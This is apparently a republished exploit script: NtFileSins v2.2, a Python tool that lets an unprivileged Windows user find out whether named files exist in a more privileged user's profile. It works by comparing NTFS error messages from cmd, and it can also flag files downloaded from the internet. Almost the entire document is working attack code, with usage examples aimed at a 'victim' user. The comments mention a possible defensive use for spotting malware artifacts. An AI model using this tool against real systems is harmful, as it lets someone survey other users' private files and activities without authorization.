Share
## https://sploitus.com/exploit?id=PACKETSTORM:159963
from subprocess import Popen, PIPE  
import sys,argparse,re  
  
#MIT License  
#Copyright (c) 2020 John Page (aka hyp3rlinx)  
#Permission is hereby granted, free of charge, to any person obtaining a copy  
#of this software and associated documentation files (the "Software"), to deal  
#in the Software without restriction, including without limitation the rights  
#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell  
#copies of the Software, and to permit persons to whom the Software is  
#furnished to do so, subject to the following conditions:  
  
#The above copyright notice and this permission notice shall be included in all  
#copies or substantial portions of the Software.  
  
#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR  
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,  
#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE  
#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER  
#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,  
#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE  
#SOFTWARE.  
  
#Permission is also explicitly given for insertion in vulnerability databases and similar,  
#provided that due credit is given to the author John Page (aka hyp3rlinx).  
#  
#  
# NtFileSins v2.2 (c)  
# By John Page (aka hyp3rlinx)  
# Python v3 compatible  
# Enhancements: search target user dir on first pass, unless the -d flag is used, added .dat, .tmp file ext checks.  
# TODO: Alternate Data Streams (ADS) check e.g. abc.txt:test.txt:$DATA  
# Original advisory: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-NTFS-PRIVILEGED-FILE-ACCESS-ENUMERATION.txt  
#  
# NtFileSins is a Windows File Enumeration Intel Gathering Tool.  
# Standard users can prove existence of privileged user artifacts.  
#  
# Typically, the Windows commands DIR or TYPE hand out a default "Access Denied" error message,  
# when a file exists or doesn't exist, when restricted access is attempted by another user.  
#  
# However, accessing files directly by attempting to "open" them from cmd.exe shell,  
# we can determine existence by compare inconsistent Windows error messages.  
#  
# Requirements: 1) target users with >= privileges (not admin to admin).  
# 2) artifacts must contain a dot "." or returns false positives.  
#  
# Windows message "Access Denied" = Exists  
# Windows message "The system cannot find the file" = Not exists  
# Windows returns "no message" OR "c:\victim\artifact is not recognized as an internal or external command,  
# operable program or batch file" = Admin to Admin so this script is not required.  
#  
# Profile other users by compare ntfs error messages to potentially learn their activities or machines purpose.  
# For evil or maybe check for basic malware IOC existence on disk with user-only rights.  
  
#From a defensive perspective we can leverage this to try to detect basic IOC and malware artifacts like .tmp, .ini, .dll, .exe   
#or related config files on disk with user-only rights, instead of authenticating with admin rights as a quick paranoid first pass.  
  
#Example, if malware hides itself by unlinking themselves from the EPROCESS list in memory or using programs like WinRAP to hide  
#processess from Windows TaskMgr, we may not discover them even if using tasklist command. The EPROCESS structure and flink/blink is  
#how Windows TaskMgr shows all running processes. However, we may possibly detect them by testing for the correct IOC name if the  
#malicious code happens to reside on disk and not only in memory. Whats cool is we can be do this without the need for admin rights.  
#  
#Other Windows commands that will also let us confirm file existence by comparing error messages are start, call, copy, icalcs, and cd.  
#However, Windows commands rename, ren, cacls, type, dir, erase, move or del commands will issue flat out "Access is denied" messages.  
  
#  
#==========================================================================#  
# NtFileSins.py - Windows File Enumeration Intel Gathering Tool v2.2 (c) #  
# By John Page (aka hyp3rlinx) #  
# Apparition Security #  
#==========================================================================#  
  
BANNER='''  
_ _______________ __ _____ _   
/ | / /_ __/ ____(_) /__ / ___/(_)___ _____  
/ |/ / / / / /_ / / / _ \\__ \ / / __ \/ ___/  
/ /| / / / / __/ / / / __/__/ / / / / (__ )   
/_/ |_/ /_/ /_/ /_/_/\___/____/_/_/ /_/____/ v2.2 (c)  
  
By hyp3rlinx  
ApparitionSec   
'''   
  
sin_cnt=0  
internet_sin_cnt=0  
found_set=set()  
zone_set=set()  
ARTIFACTS_SET=set()  
ROOTDIR = "c:/Users/"  
ZONE_IDENTIFIER=":Zone.Identifier:$DATA"  
  
USER_DIRS=["Contacts","Desktop","Downloads","Favorites","My Documents","Searches","Videos/Captures",  
"Pictures","Music","OneDrive","OneDrive/Attachments","OneDrive/Documents"]  
  
APPDATA_DIR=["AppData/Local/Temp"]  
  
EXTS = set([".contact",".url",".lnk",".search-ms",".exe",".csv",".txt",".ini",".conf",".config",".log",".pcap",".zip",".mp4",".mp3", ".bat",".tmp",  
".wav",".docx",".pptx",".reg",".vcf",".avi",".mpg",".jpg",".jpeg",".png",".rtf",".pdf",".dll",".xml",".doc",".gif",".xls",".wmv",".dat"])  
  
REPORT="NtFileSins_Log.txt"  
  
def usage():  
print("NtFileSins is a privileged file access enumeration tool to search multi-account artifacts without admin rights.\n")  
print('-u victim -d Searches -a "MS17-020 - Google Search.url"')  
print('-u victim -a "<name.ext>"')  
print("-u victim -d Downloads -a <name.ext> -s")  
print('-u victim -d Contacts -a "Mike N.contact"')  
print("-u victim -a APT -b -n")  
print("-u victim -d -z Desktop/MyFiles -a <.name>")  
print("-u victim -d Searches -a <name>.search-ms")  
print("-u victim -d . -a <name.ext>")  
print("-u victim -d desktop -a inverted-crosses.mp3 -b")  
print("-u victim -d Downloads -a APT.exe -b")  
print("-u victim -f list_of_files.txt")  
print("-u victim -f list_of_files.txt -b -s")  
print("-u victim -f list_of_files.txt -x .txt")  
print("-u victim -d desktop -f list_of_files.txt -b")  
print("-u victim -d desktop -f list_of_files.txt -x .rar")  
print("-u victim -z -s -f list_of_files.txt")  
  
def parse_args():  
parser.add_argument("-u", "--user", help="Privileged user target")  
parser.add_argument("-d", "--directory", nargs="?", help="Specific directory to search <e.g. Downloads>.")  
parser.add_argument("-a", "--artifact", help="Single artifact we want to verify exists.")  
parser.add_argument("-t", "--appdata", nargs="?", const="1", help="Searches the AppData/Local/Temp directory.")  
parser.add_argument("-f", "--artifacts_from_file", nargs="?", help="Enumerate a list of supplied artifacts from a file.")  
parser.add_argument("-n", "--notfound", nargs="?", const="1", help="Display unfound artifacts.")  
parser.add_argument("-b", "--built_in_ext", nargs="?", const="1", help="Enumerate files using NtFileSin built-in ext types.")  
parser.add_argument("-x", "--specific_ext", nargs="?", help="Enumerate using specific ext, e.g. <.exe> using a supplied list of artifacts, a supplied ext will override any in the supplied artifact list.")  
parser.add_argument("-z", "--zone_identifier", nargs="?", const="1", help="Identifies artifacts downloaded from the internet by checking for Zone.Identifier:$DATA.")  
#parser.add_argument("-r", "--ads_streams", nargs="?", const="1", help="Locate ADS hidden file streams (artifact name required).")  
parser.add_argument("-s", "--save", nargs="?", const="1", help="Saves successfully enumerated artifacts, will log to "+REPORT)  
parser.add_argument("-v", "--verbose", nargs="?", const="1", help="Displays the file access error messages.")  
parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show example usage.")  
return parser.parse_args()  
  
  
def access(j):  
result=""  
try:  
p = Popen([j], stdout=PIPE, stderr=PIPE, shell=True)  
stderr,stdout = p.communicate()  
result = stdout.strip()  
res = result.decode("utf-8")  
except Exception as e:  
#print(str(e))  
pass  
return res  
  
  
def artifacts_from_file(artifacts_file, bflag, specific_ext):  
try:  
f=open(artifacts_file, "r")  
for a in f:  
idx = a.rfind(".")  
a = a.strip()  
if a != "":  
if specific_ext:  
if idx==-1:  
a = a + specific_ext  
else:  
#replace existing ext  
a = a[:idx] + specific_ext  
if bflag:  
ARTIFACTS_SET.add(a)  
else:  
ARTIFACTS_SET.add(a)  
f.close()  
except Exception as e:  
print(str(e))  
exit()  
  
  
def save():  
try:  
f=open(REPORT, "w")  
for j in found_set:  
f.write(j+"\n")  
f.close()  
except Exception as e:  
print(str(e))  
  
  
def recon_msg(s):  
if s == 0:  
return "Access is denied."  
else:  
return "\t[*] Artifact exists ==>"  
  
  
def echo_results(args, res, x, i):  
global sin_cnt  
if res=="":  
print("\t[!] No NTFS message, you must already be admin, then this script is not required.")  
exit()  
if "not recognized as an internal or external command" in res:  
print("\t[!] You must target users with higher privileges than yours.")  
exit()  
if res != recon_msg(0):  
if args.verbose:  
print("\t"+res)  
else:  
if args.notfound:  
print("\t[-] not found: " + x +"/"+ i)  
else:  
sin_cnt += 1  
if args.save or args.zone_identifier:  
found_set.add(x+"/"+i)  
if args.verbose:  
print(recon_msg(1)+ x+"/"+i)  
print("\t"+res)  
else:  
print(recon_msg(1)+ x+"/"+i)  
  
  
def valid_artifact_name(sin,args):  
idx = "." in sin  
if re.findall(r"[/\\*?:<>|]", sin):  
print("\t[!] Skipping: disallowed file name character.")  
return False  
if not idx and not args.built_in_ext and not args.specific_ext:  
print("\t[!] Warning: '"+ sin +"' has no '.' in the artifact name, this can result in false positives.")  
print("\t[+] Searching for '"+ sin +"' using built-in ext list to prevent false positives.")  
if not args.built_in_ext:  
if sin[-1] == ".":  
print("\t[!] Skipping: "+sin+" non valid file name.")  
return False  
return True  
  
  
def search_missing_ext(path,args,i):  
res=""  
for x in path:  
for e in EXTS:  
res = access(ROOTDIR+"/"+x+"/"+i+e)  
if res=="":  
res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)  
if res:  
echo_results(args, res, x, i+e)  
  
  
#Check if the found artifact was downloaded from internet  
def zone_identifier_check(args):  
  
global ROOTDIR, internet_sin_cnt  
zone_set.update(found_set)  
  
for c in found_set:  
c = c + ZONE_IDENTIFIER  
res = access(ROOTDIR+args.user+"/"+c)  
if res == "Access is denied.":  
internet_sin_cnt += 1  
print("\t[$] Zone Identifier found: "+c+" this file was downloaded over the internet!.")  
zone_set.add(c)  
  
  
#@TODO: Find ADS  
def alternate_data_dreams():  
pass  
  
  
def ntsins(path,args,i):  
res=""  
if i.rfind(".")==-1:  
search_missing_ext(path,args,i)  
i=""  
for x in path:  
if i != "":  
if args.built_in_ext=="1":  
for e in EXTS:  
#Search current targets user dir first.  
res = access(ROOTDIR+"/"+x+"/"+i+e)  
if res=="":  
res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)  
if res:  
echo_results(args, res, x, i+e)  
elif args.specific_ext:  
idx = i.rfind(".")  
if idx == -1:  
i = i + "."  
else:  
i = i[:idx] + args.specific_ext  
#Search current targets user dir first.  
res = access(ROOTDIR+"/"+x+"/"+i)  
if res=="":  
res = access(ROOTDIR+args.user+"/"+x+"/"+i)  
if res:  
echo_results(args, res, x, i)  
  
  
def search(args):  
print("\tSearching...\n")  
global ROOTDIR, USER_DIRS, ARTIFACTS_SET  
  
if args.artifact:  
ARTIFACTS_SET = set([args.artifact])  
  
for i in ARTIFACTS_SET:  
idx = i.rfind(".") + 1  
if idx and args.built_in_ext:  
i = i[:idx -1:None]  
if len(i) > 0 and i != None:   
if valid_artifact_name(i,args):  
#specific user dir search  
if args.directory:  
single_dir=[args.directory]  
ntsins(single_dir,args,i)  
#search appdata dirs  
elif args.appdata:  
ntsins(APPDATA_DIR,args,i)  
#all default user dirs  
else:  
ntsins(USER_DIRS,args,i)  
  
  
def check_dir_input(_dir):  
if len(re.findall(r":", _dir)) != 0:  
print("[!] Check the directory arg, NtFileSins searches under c:/Users/target by default see Help -h.")  
return False  
return True  
  
  
def main(args):  
  
global USER_DIRS  
  
if len(sys.argv)==1:  
parser.print_help(sys.stderr)  
sys.exit(1)  
  
if args.examples:  
usage()  
exit()  
  
if not args.user:  
print("[!] No target user specified see Help -h")  
exit()  
  
if args.appdata and args.directory:  
print("[!] Multiple search directories supplied see Help -h")  
exit()  
  
if args.specific_ext:  
if "." not in args.specific_ext:  
print("[!] Must use full extension e.g. -x ."+args.specific_ext+", dot in filenames mandatory to prevent false positives.")  
exit()  
  
if args.artifact and args.artifacts_from_file:  
print("[!] Multiple artifacts specified, use just -f or -a see Help -h")  
exit()  
  
if args.built_in_ext and args.specific_ext:  
print("\t[!] Both specific and built-in extensions supplied, use only one.")  
exit()  
  
if args.specific_ext and not args.artifacts_from_file:  
print("\t[!] -x to be used with -f flag only see Help -h.")  
exit()  
  
if args.artifact:  
if args.artifact.rfind(".")==-1 and not args.built_in_ext:  
print("\t[!] Artifacts must contain a .ext or will result in false positives, use -b flag (built-in ext checks).")  
exit()  
  
if args.directory:  
if not check_dir_input(args.directory):  
exit()  
  
if args.artifacts_from_file:  
artifacts_from_file(args.artifacts_from_file, args.built_in_ext, args.specific_ext)  
  
#TODO:  
#if args.ads_streams:  
#alternate_data_dreams()  
  
if not args.artifact and not args.artifacts_from_file:  
print("[!] Exiting, no artifacts supplied see Help -h")  
exit()  
else:  
#Search targets user dir by default, instead of require -d flag to specify the dir.  
USER_DIRS.append(args.user)  
search(args)  
  
if sin_cnt >= 1 and args.zone_identifier:  
zone_identifier_check(args)  
  
if args.save and len(found_set) != 0 and not args.zone_identifier:  
save()  
  
if args.save and len(zone_set) != 0:  
found_set.update(zone_set)  
save()  
  
print("\n\tNtFileSins Detected "+str(sin_cnt)+ " out of %s" % str(len(ARTIFACTS_SET)) + " Sins.\n")  
  
if args.zone_identifier and internet_sin_cnt >= 1:  
print("\t"+str(internet_sin_cnt) + " of the sins were internet downloaded.\n")  
  
if not args.notfound:  
print("\tuse -n to display unfound enumerated files.")  
if not args.built_in_ext:  
print("\tfor extra search coverage try -b flag or targeted artifact search -a.")  
  
  
if __name__ == "__main__":  
print(BANNER)  
parser = argparse.ArgumentParser()  
main(parse_args())